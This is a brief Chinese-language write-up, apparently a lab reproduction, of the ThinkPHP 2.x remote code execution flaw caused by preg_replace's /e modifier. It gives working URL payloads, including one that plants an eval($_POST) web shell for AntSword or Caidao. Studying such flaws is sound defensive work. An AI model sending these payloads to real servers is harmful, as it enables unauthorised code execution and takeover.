thinkphp 2-rce
漏洞成因
1 | res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); |
导致输入的参数被插入双引号中执行,造成任意代码执行漏洞
preg_replace('正则表达','替换字符','目标字符')
就是如果目标字符中存在符合正则规则的字符,那么就替换为替换字符,而如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞
1 | e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; |
详细分析见ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行
影响版本
thinkPHP 2.x
thinkphp lite模式下3.0
复现
访问8080端口

payload
ip:8080/index.php?s=/index/index/xxx/${@phpinfo()}

ip:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))} //一句话连接蚁剑菜刀
回显系统发生错误,但其实已经执行成功

测试一下连接
